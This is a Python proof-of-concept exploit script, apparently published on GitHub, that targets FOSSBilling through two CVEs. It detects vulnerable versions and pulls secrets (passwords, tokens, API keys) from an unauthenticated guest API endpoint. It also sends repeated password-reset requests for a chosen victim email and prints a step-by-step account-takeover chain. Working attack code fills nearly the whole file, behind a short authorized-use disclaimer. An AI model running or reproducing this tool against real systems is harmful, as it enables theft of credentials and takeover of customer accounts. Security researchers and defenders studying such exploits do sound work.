1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
| #!/usr/bin/env python3
"""
FOSKiller — FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC
Author : 7megaumka7
License : MIT
WARNING : For authorized security testing and educational research only.
"""
from __future__ import annotations
import argparse
import json
import sys
import time
import datetime
import re
# ---------------------------------------------------------------------------
# Dependency bootstrap
# ---------------------------------------------------------------------------
def _install_missing() -> None:
missing = []
try:
import requests # noqa: F401
except ImportError:
missing.append("requests")
try:
import colorama # noqa: F401
except ImportError:
missing.append("colorama")
if missing:
print(f"[!] Missing dependencies: {', '.join(missing)}")
answer = input(f" Install now with pip? [y/N]: ").strip().lower()
if answer == "y":
import subprocess
subprocess.check_call([sys.executable, "-m", "pip", "install"] + missing)
print("[+] Installed. Re-run the script.\n")
else:
print(" Install manually: pip install " + " ".join(missing))
sys.exit(1)
_install_missing()
import requests # noqa: E402
import colorama # noqa: E402
from colorama import Fore, Style # noqa: E402
colorama.init(autoreset=True)
# ---------------------------------------------------------------------------
# Constants
# ---------------------------------------------------------------------------
VERSION = "1.0.0"
AFFECTED_MIN_647 = (0, 5, 3)
AFFECTED_MAX_647 = (0, 7, 2)
AFFECTED_MIN_646 = (0, 5, 6)
AFFECTED_MAX_646 = (0, 7, 2)
UA = "Mozilla/5.0 (compatible; SecurityResearch/1.0; +https://github.com/7megaumka7)"
# ---------------------------------------------------------------------------
# Colour helpers
# ---------------------------------------------------------------------------
def ok(msg: str) -> str:
return f"{Fore.GREEN}{Style.BRIGHT}[+]{Style.RESET_ALL} {msg}"
def fail(msg: str) -> str:
return f"{Fore.RED}{Style.BRIGHT}[-]{Style.RESET_ALL} {msg}"
def info(msg: str) -> str:
return f"{Fore.CYAN}[*]{Style.RESET_ALL} {msg}"
def warn(msg: str) -> str:
return f"{Fore.YELLOW}[!]{Style.RESET_ALL} {msg}"
def section(title: str) -> None:
bar = "─" * 60
print(f"\n{Fore.BLUE}{Style.BRIGHT}{bar}")
print(f" {title}")
print(f"{bar}{Style.RESET_ALL}")
# ---------------------------------------------------------------------------
# Banner
# ---------------------------------------------------------------------------
BANNER = f"""{Fore.RED}{Style.BRIGHT}
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
{Style.RESET_ALL}"""
SUBTITLE = (
f" {Fore.WHITE}made by {Fore.YELLOW}7megaumka7{Style.RESET_ALL}"
f" | FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC"
f" | v{VERSION}\n"
)
DISCLAIMER = (
f"{Fore.RED}{Style.BRIGHT}"
f" ╔{'═'*62}╗\n"
f" ║ LEGAL NOTICE — AUTHORIZED USE ONLY"
+ " " * 26 + "║\n"
f" ║ Use exclusively on systems you own or have written ║\n"
f" ║ permission to test. Unauthorized use is illegal and ║\n"
f" ║ unethical. The author assumes no responsibility for ║\n"
f" ║ misuse. Responsible disclosure has been completed. ║\n"
f" ╚{'═'*62}╝"
f"{Style.RESET_ALL}"
)
def print_banner() -> None:
print(BANNER)
print(SUBTITLE)
print(DISCLAIMER)
print()
# ---------------------------------------------------------------------------
# HTTP session
# ---------------------------------------------------------------------------
def build_session(proxy: str | None, timeout: int) -> requests.Session:
s = requests.Session()
s.headers.update({"User-Agent": UA})
if proxy:
s.proxies = {"http": proxy, "https": proxy}
s._fossbilling_timeout = timeout # type: ignore[attr-defined]
return s
def _get(session: requests.Session, url: str, **kwargs) -> requests.Response:
return session.get(url, timeout=session._fossbilling_timeout, verify=False, **kwargs) # type: ignore[attr-defined]
def _post(session: requests.Session, url: str, **kwargs) -> requests.Response:
return session.post(url, timeout=session._fossbilling_timeout, verify=False, **kwargs) # type: ignore[attr-defined]
# ---------------------------------------------------------------------------
# Version detection
# ---------------------------------------------------------------------------
def _parse_version(raw: str) -> tuple[int, ...] | None:
m = re.search(r"(\d+)\.(\d+)\.(\d+)", raw)
if m:
return tuple(int(x) for x in m.groups())
return None
def detect_version(session: requests.Session, target: str) -> str | None:
"""Return version string or None."""
endpoints = [
"/api/guest/system/version",
"/",
]
for ep in endpoints:
try:
r = _get(session, target.rstrip("/") + ep)
# Try JSON first
try:
data = r.json()
v = (
data.get("result")
or data.get("version")
or (data.get("data") or {}).get("version")
)
if v and re.search(r"\d+\.\d+\.\d+", str(v)):
return str(v)
except ValueError:
pass
# Try headers
for hdr in ("x-fossbilling-version", "x-powered-by", "server"):
val = r.headers.get(hdr, "")
if re.search(r"\d+\.\d+\.\d+", val):
return val
# Try HTML cache-buster pattern: ?v=0.7.1
m = re.search(r"[?&]v=(\d+\.\d+\.\d+)", r.text)
if m:
return m.group(1)
except Exception:
pass
return None
def check_version_in_range(
version_str: str,
vmin: tuple[int, ...],
vmax: tuple[int, ...],
) -> bool:
v = _parse_version(version_str)
if v is None:
return False
return vmin <= v <= vmax
# ---------------------------------------------------------------------------
# CVE-2026-53647 — Unauthenticated API key config disclosure
# ---------------------------------------------------------------------------
def run_cve_53647(
session: requests.Session,
target: str,
key: str,
check_only: bool,
) -> dict:
"""
Probe /api/guest/serviceapikey/get_info?key=<KEY>.
Returns a result dict with status, evidence, fields.
"""
result: dict = {
"cve": "CVE-2026-53647",
"ghsa": "GHSA-737q-9gpr-6mpq",
"severity": "Moderate (CVSS 6.9)",
"status": "UNKNOWN",
"endpoint": "",
"http_status": None,
"leaked_fields": {},
"raw_response": None,
"error": None,
}
url = target.rstrip("/") + f"/api/guest/serviceapikey/get_info?key={key}"
result["endpoint"] = url
section("CVE-2026-53647 │ Unauthenticated API Key Config Disclosure")
print(info(f"Target : {url}"))
print(info(f"Mode : {'Detection only' if check_only else 'Full extraction'}"))
try:
r = _get(session, url)
result["http_status"] = r.status_code
print(info(f"HTTP : {r.status_code}"))
try:
data = r.json()
except ValueError:
result["status"] = "NOT_VULNERABLE"
result["error"] = "Non-JSON response"
print(fail("Response is not JSON — endpoint likely absent or protected."))
return result
result["raw_response"] = data
# FOSSBilling API wraps results in {"result": {...}, "error": null}
payload = data.get("result") or data
if isinstance(payload, dict) and any(
k.startswith("custom_") or k in (
"config", "secret", "key", "token", "api_key",
"service_url", "hostname", "password", "username",
)
for k in payload.keys()
):
result["status"] = "VULNERABLE"
leaked: dict = {}
for k, v in payload.items():
if k.startswith("custom_") or k in (
"config", "secret", "key", "token", "api_key",
"service_url", "hostname", "password", "username",
):
leaked[k] = v
result["leaked_fields"] = leaked
print(ok(f"VULNERABLE — endpoint returned {len(leaked)} sensitive field(s) without authentication"))
if not check_only:
print(f"\n {Fore.YELLOW}{'Field':<30} Value{Style.RESET_ALL}")
print(f" {'─'*70}")
for k, v in leaked.items():
print(f" {Fore.GREEN}{k:<30}{Style.RESET_ALL} {v}")
else:
print(info(f"Detection confirmed — {len(leaked)} field(s) accessible. Use without --check-only to extract."))
else:
result["status"] = "NOT_VULNERABLE"
print(fail("Endpoint returned no sensitive fields or responded with an error."))
if data.get("error"):
print(info(f"API error : {data['error']}"))
except requests.exceptions.Timeout:
result["status"] = "ERROR"
result["error"] = "Connection timed out"
print(fail("Request timed out."))
except requests.exceptions.ConnectionError as e:
result["status"] = "ERROR"
result["error"] = str(e)
print(fail(f"Connection error: {e}"))
except Exception as e:
result["status"] = "ERROR"
result["error"] = str(e)
print(fail(f"Unexpected error: {e}"))
return result
# ---------------------------------------------------------------------------
# CVE-2026-53646 — Password reset token reuse / persistent account takeover
# ---------------------------------------------------------------------------
def run_cve_53646(
session: requests.Session,
target: str,
email: str,
check_only: bool,
exploit: bool,
) -> dict:
"""
Trigger two consecutive reset requests for the same email and analyse
token reuse behaviour.
"""
result: dict = {
"cve": "CVE-2026-53646",
"ghsa": "GHSA-vp66-w6rc-x32p",
"severity": "High (CVSS 7.7)",
"status": "UNKNOWN",
"endpoint": "",
"request_1": {},
"request_2": {},
"token_reuse_detected": False,
"time_delta_seconds": None,
"attack_chain": [],
"error": None,
}
url = target.rstrip("/") + "/api/guest/client/reset_password"
result["endpoint"] = url
section("CVE-2026-53646 │ Password Reset Token Reuse / Account Takeover")
print(info(f"Target : {url}"))
print(info(f"Email : {email}"))
print(info(f"Mode : {'Detection only' if check_only else ('Exploit documentation' if exploit else 'Detection')}"))
def _do_reset(seq: int) -> dict:
ts_before = time.time()
try:
r = _post(session, url, data={"email": email})
ts_after = time.time()
try:
body = r.json()
except ValueError:
body = {"_raw": r.text[:500]}
return {
"seq": seq,
"http_status": r.status_code,
"timestamp_unix": ts_before,
"timestamp_iso": datetime.datetime.fromtimestamp(ts_before, tz=datetime.timezone.utc).isoformat().replace("+00:00", "Z"),
"response_ms": round((ts_after - ts_before) * 1000),
"body": body,
"token": _extract_token(body),
"error": None,
}
except requests.exceptions.Timeout:
return {"seq": seq, "error": "timeout", "timestamp_unix": time.time()}
except Exception as e:
return {"seq": seq, "error": str(e), "timestamp_unix": time.time()}
def _extract_token(body: dict) -> str | None:
for key in ("token", "reset_token", "hash", "result", "data"):
val = body.get(key)
if isinstance(val, str) and len(val) >= 16:
return val
if isinstance(val, dict):
for sub in ("token", "hash", "reset_token"):
sv = val.get(sub)
if isinstance(sv, str) and len(sv) >= 16:
return sv
return None
try:
print(info("Sending reset request #1 …"))
req1 = _do_reset(1)
if req1.get("error"):
result["status"] = "ERROR"
result["error"] = req1["error"]
print(fail(f"Request #1 failed: {req1['error']}"))
return result
result["request_1"] = req1
print(info(f" HTTP {req1['http_status']} | {req1['response_ms']} ms | {req1['timestamp_iso']}"))
if req1["token"]:
print(ok(f" Token recovered from response: {req1['token'][:8]}…"))
# Small delay to create a measurable timestamp gap
time.sleep(0.5)
print(info("Sending reset request #2 (same email) …"))
req2 = _do_reset(2)
if req2.get("error"):
result["status"] = "ERROR"
result["error"] = req2["error"]
print(fail(f"Request #2 failed: {req2['error']}"))
return result
result["request_2"] = req2
print(info(f" HTTP {req2['http_status']} | {req2['response_ms']} ms | {req2['timestamp_iso']}"))
if req2["token"]:
print(ok(f" Token recovered from response: {req2['token'][:8]}…"))
delta = round(req2["timestamp_unix"] - req1["timestamp_unix"], 3)
result["time_delta_seconds"] = delta
print(info(f" Time delta between requests : {delta}s"))
# ---------- Vulnerability analysis ----------
token1, token2 = req1.get("token"), req2.get("token")
both_200 = req1["http_status"] == 200 and req2["http_status"] == 200
if token1 and token2:
if token1 == token2:
result["token_reuse_detected"] = True
result["status"] = "VULNERABLE"
print(ok(f"VULNERABLE — identical token returned on both requests: {token1[:12]}…"))
else:
# New token generated but old one may still be valid
result["status"] = "POTENTIALLY_VULNERABLE"
print(warn(
"Two distinct tokens issued. Old token validity cannot be confirmed "
"without email access — manual verification required."
))
elif both_200:
result["status"] = "POTENTIALLY_VULNERABLE"
print(warn(
f"Both reset requests succeeded (HTTP 200). "
f"Token not exposed in API response — check email delivery. "
f"Endpoint accepts repeated resets without rate-limiting."
))
else:
result["status"] = "NOT_VULNERABLE"
print(fail("One or both requests did not succeed — endpoint may be patched or hardened."))
# ---------- Attack chain documentation ----------
attack_chain = [
"STEP 1 Attacker triggers POST /api/guest/client/reset_password "
f"with victim email ({email}) → receives token T1 in their intercepted/forwarded email.",
"STEP 2 Victim (or attacker again) triggers a second reset → "
"application issues new token T2 but does NOT invalidate T1.",
"STEP 3 Attacker uses original token T1 to call "
"POST /api/guest/client/update_password?hash=T1 with a chosen password.",
"STEP 4 Attacker now has persistent access to victim account even "
"after victim completes their own password reset flow with T2.",
]
result["attack_chain"] = attack_chain
if not check_only:
print(f"\n {Fore.YELLOW}Attack Chain (CVE-2026-53646):{Style.RESET_ALL}")
for step in attack_chain:
print(f" {Fore.CYAN}→{Style.RESET_ALL} {step}")
if req1.get("timestamp_unix"):
anchor = datetime.datetime.fromtimestamp(req1["timestamp_unix"], tz=datetime.timezone.utc)
now = datetime.datetime.now(tz=datetime.timezone.utc)
age = round((now - anchor).total_seconds(), 1)
print(f"\n {Fore.YELLOW}Timing Metadata:{Style.RESET_ALL}")
print(f" Token T1 anchor : {req1['timestamp_iso']}")
print(f" Current UTC : {now.isoformat().replace('+00:00', 'Z')}")
print(f" Token T1 age : {age}s (still valid if unpatched)")
except Exception as e:
result["status"] = "ERROR"
result["error"] = str(e)
print(fail(f"Unexpected error: {e}"))
return result
# ---------------------------------------------------------------------------
# Summary table
# ---------------------------------------------------------------------------
def print_summary(results: list[dict], ver: str | None) -> None:
section("Summary")
if ver:
print(info(f"FOSSBilling version detected: {Fore.YELLOW}{ver}{Style.RESET_ALL}"))
else:
print(warn("Could not detect FOSSBilling version."))
print()
col = f"{Fore.WHITE}{Style.BRIGHT}"
print(f" {col}{'CVE':<20} {'GHSA':<28} {'Severity':<22} {'Status'}{Style.RESET_ALL}")
print(f" {'─'*90}")
status_colour = {
"VULNERABLE": Fore.GREEN + Style.BRIGHT,
"POTENTIALLY_VULNERABLE": Fore.YELLOW + Style.BRIGHT,
"NOT_VULNERABLE": Fore.RED,
"ERROR": Fore.RED,
"UNKNOWN": Fore.WHITE,
}
for r in results:
colour = status_colour.get(r.get("status", "UNKNOWN"), Fore.WHITE)
print(
f" {r.get('cve','?'):<20} "
f"{r.get('ghsa','?'):<28} "
f"{r.get('severity','?'):<22} "
f"{colour}{r.get('status','UNKNOWN')}{Style.RESET_ALL}"
)
print()
# ---------------------------------------------------------------------------
# Output to JSON
# ---------------------------------------------------------------------------
|